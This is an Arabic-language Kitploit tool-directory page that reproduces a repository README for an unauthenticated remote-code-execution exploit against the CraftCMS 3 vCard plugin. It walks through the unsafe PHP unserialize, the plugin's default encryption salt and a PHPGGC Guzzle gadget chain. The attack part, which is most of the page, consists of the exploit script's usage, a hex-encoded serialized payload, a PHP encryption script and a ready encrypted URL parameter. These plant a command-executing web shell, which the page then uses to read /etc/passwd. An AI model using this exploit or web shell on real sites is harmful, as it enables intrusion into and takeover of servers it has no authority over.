Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
craftcms-vcard-exploit — يحتوي هذا المستودع على تفاصيل حول ثغرة أمنية تم اكتشافها في إضافة "vCard" لمنصة CraftCMS 3. | Kitploit
أدوات/GitLabGitLab/wguest/craftcms-vcard-exploit
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitLabwguest/craftcms-vcard-exploit

craftcms-vcard-exploit

يحتوي هذا المستودع على تفاصيل حول ثغرة أمنية تم اكتشافها في إضافة "vCard" لمنصة CraftCMS 3.

عرض المستودع
1منذ 6 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة إلغاء التسلسل في إضافة vCard لـ Craft CMS

تمتلك Craft CMS إضافة لتنزيل جهات الاتصال بصيغة ملف *.vcf باسم "vCard". يمكن الاطلاع على الإضافة في مستودع Craft وعلى Github: Craft Plugin Store Github

الوصف

تأخذ هذه الإضافة معلمة يرسلها العميل، وتفك تشفير القيمة باستخدام openssl_decrypt، ثم تضع السلسلة الناتجة في دالة unserialize الخاصة بـ PHP. وبما أن الملح الافتراضي (salt) المستخدم في التشفير متاح في المستودع، يمكن للمهاجم استخدام المنطق نفسه لتشفير حمولة تسلسلية خبيثة.

إذا كان المستخدم قد عيّن قيمة "salt" معدّلة في إعدادات الإضافة، فيجب عندئذٍ توفيرها كمعلمة لسكربت Python. ومع ذلك، ستبقى هذه القيمة كما هي دون تغيير إذا تم تنزيل الإضافة من متجر الإضافات أو عبر استنساخ المستودع فقط. ولا يوجد خيار لتغييرها من واجهة Craft web الرسومية.

استخدام السكربت

شغّل السكربت مع توفير رابط vCard الذي يؤدي إلى تنزيل جهات الاتصال. احذف قيمة معلمة vcard.

مثال: رابط تنزيل vcard تجريبي: http://craftcms/index.php?p=actions/vcard/default/index&vcard=GxHwdD1xmDkQoWbn_nPsgVR-2VOQt6w_oDmLl9h4jAglePdkMM1NMBKHTmq9Uuu7XFM9qvNs3Mi_B0-bT2JbfsflmMDzL29w2QaP28vRBHmyDLTMcacJwuBXEDUqF-sxovuY7oN-YFZXA4jOwC0CyxjLKIjz3UWBf-1ItLRkqKSSAHBuHOMeB5drdTqw67ZCmnlLVI7FYVUNBS9q3WrMRWMhexjHbO2VymDdV3q0GOlZmES9Imgdwq9ibI6okG_QFqHHq33a8U_m4NPvjTqsdm6Wm3OjcPSVV9L2RR8ZnhN9CayfaShb5jligs5b0So2Vddo8EmCZUgKP7-BIT4dlWRGwD_F0w2PyjUZRsRx25ydy6ZklXXHMb4fkrxuKXaHGfB8Y9SUbcQYAUK2OZhZno0FKWzUABDEjjvquevUSTgJr7wNq2oU4YpBwWoQCNGX7ILAuWN8_7GFIajhosdoOilLiLTmoJPWHfdpNKRaZlYcLX9zF7fUXw_BsHJZOySZhbSL0Q7ktzs__DygIL5uuongteXKIafhUFZxPEcC1W9OHy767Lgg77hJwp7lqF1krtHbbQ1o-4hV12dPkouauQ

ستكون المعلمة المُمررة إلى السكربت عندئذٍ: "http://craftcms/index.php?p=actions/vcard/default/index&vcard="

root@kitploit:~
$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a

توجد قيمة salt اختيارية يمكن توفيرها. فيما يلي جميع الخيارات المعروضة:

root@kitploit:~
usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin

optional arguments:
-h, --help  show this help message and exit
-u URL      The URL for the vCard download without the vCard value Example:
          http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT     Security key required for encrypting payload. Defaul is
          's34s4L7'
-f FNAME    File path/name to use as value in upload path: ./<value> . Use a
          PHP extension. Default value is 'shell.php'

المتطلبات

  • Python3

تم اختبار سكربت Python على Python 3.6

  • PHP CLI

سيشغّل السكربت أمرًا بـ PHP على جهاز المهاجم لتشفير الحمولة. ونتيجة لذلك، يجب تثبيت php-cli. تم اختبار هذا الهجوم مع PHP 7.2-cli و PHP 7.3-cli

شرح الثغرة خطوة بخطوة

فيما يلي لقطة لمكان قيام الكود بإلغاء التسلسل بطريقة غير آمنة (VCardService.php:297) Github:

root@kitploit:~
  public function decodeUrlParam($optionsString = "")
  {
    $optionsString = $this->decrypt($optionsString);
    $options = unserialize($optionsString);
    return $options;
  }

معامل $optionsString هو قيمة معلمة "vcard" في الرابط المقدمة من العميل. تمر عبر دالة فك التشفير ثم يتم إلغاء تسلسلها. إذا استطاع العميل محاكاة التشفير، يصبح هذا الكود عرضة للخطر لأنه يلغي تسلسل البيانات المقدمة من المستخدم مباشرة.

فيما يلي دالة التشفير المعنية (VCardService.php:306) Github:

root@kitploit:~
  protected function encrypt($string)
  {
    $key = VCard::$plugin->getSettings()->salt;
    $key = md5( $key );
    $iv = substr( md5( $key ), 0, 16);

    return rtrim(
      strtr(
        base64_encode(
          openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
        ),
        '+/', '-_'
      ), '='
    );
  }

القيمة الوحيدة التي يحتاج المهاجم إلى معرفتها هي متغير $key المُحدد بواسطة "VCard::$plugin->getSettings()->salt". يمكن رؤية القيمة الافتراضية في المستودع على أنها "s34s4L7" (config.php:26) Github

بافتراض استخدام الملح الافتراضي، يمكن للمهاجم فرض إلغاء تسلسل أي class في تثبيت Craft.

نحتاج إلى إيجاد class من نوع "gadget" في تثبيت Craft الافتراضي يمكننا استخدامه لأغراض خبيثة. مراجعة أي class تحتوي على الدوال السحرية __destruct أو __wakeup تعطي قائمة صغيرة بما يكفي للمراجعة. يمكن القيام بذلك باستخدام "grep -rni < path to web root > -e '__destruct'"

تمتلك guzzlehttp class باسم "FileCookieJar" يبدو أنه يحفظ ملفًا باستخدام خاصية class كاسم الملف:

root@kitploit:~
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38:    public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39-    {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40-        $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41-    }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-

يُظهر فحص دالة save أنها ستكتب البيانات إلى مسار ملف على النظام، ويكون كل من المسار والبيانات خاصيتين من خصائص class وتحت سيطرة المهاجم. من المنطقي أنه عند تدمير كائن هذا class، فإنه سيكتب ما لديه من cookies إلى خاصية اسم الملف ليتم استردادها أو استخدامها لاحقًا. فيما يلي محتويات دالة save مع كون file_put_contents هدفنا (FileCookieJar.php:52) Github:

root@kitploit:~
public function save($filename)
{
    $json = [];
    foreach ($this as $cookie) {
        /** @var SetCookie $cookie */
        if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
            $json[] = $cookie->toArray();
        }
    }

    $jsonStr = \GuzzleHttp\json_encode($json);
 
    if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
        throw new \RuntimeException("Unable to save file {$filename}");
    }
}

لحسن الحظ، لا يتعين علينا القيام بالعمل اليدوي لبناء الحمولة الخبيثة بأنفسنا. الأداة الرائعة PHPGGC تقوم بأتمتة تسلسل Guzzle class مع حمولة جاهزة لاستخدامها في هذا الاستغلال.

استخدمت الأداة لإنشاء هذه الحمولة الأساسية لسكربت الاستغلال، على الرغم من أنها ستُعدّل قليلًا اعتمادًا على اسم الملف. ومن المهم أيضًا ملاحظة أنه عند توليد حمولة جديدة باستخدام PHPGGC، يجب ضرورة استخدام المعامل "-f" وإلا فلن يتم تشغيل الدالة السحرية __destruct:

root@kitploit:~
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f
a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:11:"./shell.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:67:"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']);    } ?>
";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;}i:7;i:7;}

محتويات sample.txt هي: <pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

انتبه إلى أن النسخ واللصق العادي لن يعمل هنا نظرًا لوجود بايتات فارغة (null bytes) في class المُسلسل، ويجب أن تكون موجودة لكي تُرسم الخصائص بشكل صحيح. اضطررت إلى تحويل المخرجات الخام من الأداة إلى hex ثم تحويلها مرة أخرى إلى سلسلة مع محاكاة عملية التشفير. إليك أوامر bash المستخدمة للحصول على حمولة hex.

root@kitploit:~
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f | xxd | cut -d " " -f 2-9 | tr -d " \n"
613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d0a

قد يكون هناك بايت "0A" في نهاية الحمولة المُولَّدة. إذا كان الأمر كذلك، فاحذفه. على أي حال، الآن بعد أن حصلنا على حمولة من PHPGGC وحوّلناها إلى hex، نحتاج إلى تشفيرها قبل إرسالها إلى دالة الإضافة الضعيفة. بنسخ المنطق من دالة التشفير vCard المذكورة سابقًا، نحتاج فقط إلى تحويل حمولة hex وتشفيرها. إليك سكربت PHP الذي استخدمته:

root@kitploit:~
<?php
$string = hex2bin("613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d");

$key = "s34s4L7";
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);

$string2 = rtrim(
      strtr(
        base64_encode(
          openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
        ),
        '+/', '-_'
      ), '='
    );
echo  "Encrypted parameter:\n" . $string2 . "\n\n";

?>

والمخرجات الناتجة:

root@kitploit:~
craft@craftcms:/var/www/vendor/nfourtythree/vcard/src/services$ php encrypt.php 
Encrypted parameter:
cNSH6Xu6XhGYYF8RHWjebL5TCVv32vqkNqZoh2Vt-eUgQ_dEw89U4X3av54G7mCWXiXxvzT9uGbXZzRmjKYDdPbeXSUBoNgPDsqqD0Ujj1tUuixk_fkswxCswFhL0dB6gddLdNPdgZcHEIHWOtlseKfcD8I8yWrr6i3OCEXt2gyXGZQwm_J9oSXE0I6piFT73vLrhwo06DLhO9gDxIqpZGzI9KTQv3p5oc7FypzF-f3lE_i8k8PUJDO22WEObPH71LYfhrq2FnSv3sgcfrKTmHmmiZFcV4hBY7l1Lrluyxg7FDVR4KSbUZYSKo6O7JnexhghdcJ6z1oqZJ7qVgarPo1zIfT0dIUs5CfVXjzpNcuz3WYVY5ekzjZs79aN-lGMrh2o-ZWpVFnGcunRcZOBNn-BzO88pAl9z4yL_tz_BFyH1WKfKHhgTMlpC73exQNHBiJevfne4EOV6A_rUzIRgzceoIssYpEQQxj2GY9hXzY8GEtn4O0x0BAA4GUe59PxNVh5oLQSC1h0vCJ5Bsmr33HAetLk9dZO0_6Mt4gaZikbjXLTE5obC0gnv7qdVZB80bQaKgpzzXjQOBRcXxGr5GUzmrwqU6gBSfcq_4GpCot7asDo7Sj2t7esUGDniV25Of_bzdz1Dqldc87cKYd42LxPx01oqpCTn0vtNL-loPY

أخيرًا! الآن بعد أن أصبحت لدينا الحمولة، نحتاج فقط إلى إرسالها في طلب وستتوفر shell. يختلف رابط تنزيل vCard الصحيح حسب البيئة. فيما يلي نموذج من بيئة الاختبار الخاصة بي:

http://craftcms/index.php?p=actions/vcard/default/index&vcard=

تتم إزالة قيمة معلمة vcard واستبدالها بقيمتنا الخبيثة:

http://craftcms/index.php?p=actions/vcard/default/index&vcard=cNSH6Xu6XhGYYF8RHWjebL5TCVv32vqkNqZoh2Vt-eUgQ_dEw89U4X3av54G7mCWXiXxvzT9uGbXZzRmjKYDdPbeXSUBoNgPDsqqD0Ujj1tUuixk_fkswxCswFhL0dB6gddLdNPdgZcHEIHWOtlseKfcD8I8yWrr6i3OCEXt2gyXGZQwm_J9oSXE0I6piFT73vLrhwo06DLhO9gDxIqpZGzI9KTQv3p5oc7FypzF-f3lE_i8k8PUJDO22WEObPH71LYfhrq2FnSv3sgcfrKTmHmmiZFcV4hBY7l1Lrluyxg7FDVR4KSbUZYSKo6O7JnexhghdcJ6z1oqZJ7qVgarPo1zIfT0dIUs5CfVXjzpNcuz3WYVY5ekzjZs79aN-lGMrh2o-ZWpVFnGcunRcZOBNn-BzO88pAl9z4yL_tz_BFyH1WKfKHhgTMlpC73exQNHBiJevfne4EOV6A_rUzIRgzceoIssYpEQQxj2GY9hXzY8GEtn4O0x0BAA4GUe59PxNVh5oLQSC1h0vCJ5Bsmr33HAetLk9dZO0_6Mt4gaZikbjXLTE5obC0gnv7qdVZB80bQaKgpzzXjQOBRcXxGr5GUzmrwqU6gBSfcq_4GpCot7asDo7Sj2t7esUGDniV25Of_bzdz1Dqldc87cKYd42LxPx01oqpCTn0vtNL-loPY

تمر السلسلة كـ $optionsString، ويتم فك تشفيرها، ثم إلغاء تسلسلها مما يسبب خطأ خادم داخلي. يُظهر فحص نظام ملفات خادم الويب الاختباري أنه تم إنشاء ملف shell.php جديد:

root@kitploit:~
craft@craftcms:/var/www/html$ ls
cpresources  index.php  shell.php  web.config

craft@craftcms:/var/www/html$ cat shell.php 
[{"Expires":1,"Discard":false,"Value":"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']);    } ?>\n"}]
craft@craftcms:/var/www/html$

من خلال زيارة http://craftcms/shell.php في المتصفح، يمكنني الآن تمرير أوامر النظام عبر معلمة cmd في طلب GET.

مثال: http://craftcms/shell.php?cmd=cat%20/etc/passwd

root@kitploit:~
[{"Expires":1,"Discard":false,"Value":"<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

المراجع

توليد PHP Gadget: https://github.com/ambionics/phpggc

إضافة vCard: https://github.com/nfourtythree/craft3-vcard

Craft CMS: https://craftcms.com/

توثيق unserialize: https://www.php.net/manual/en/function.unserialize.php

تنزيل الأداة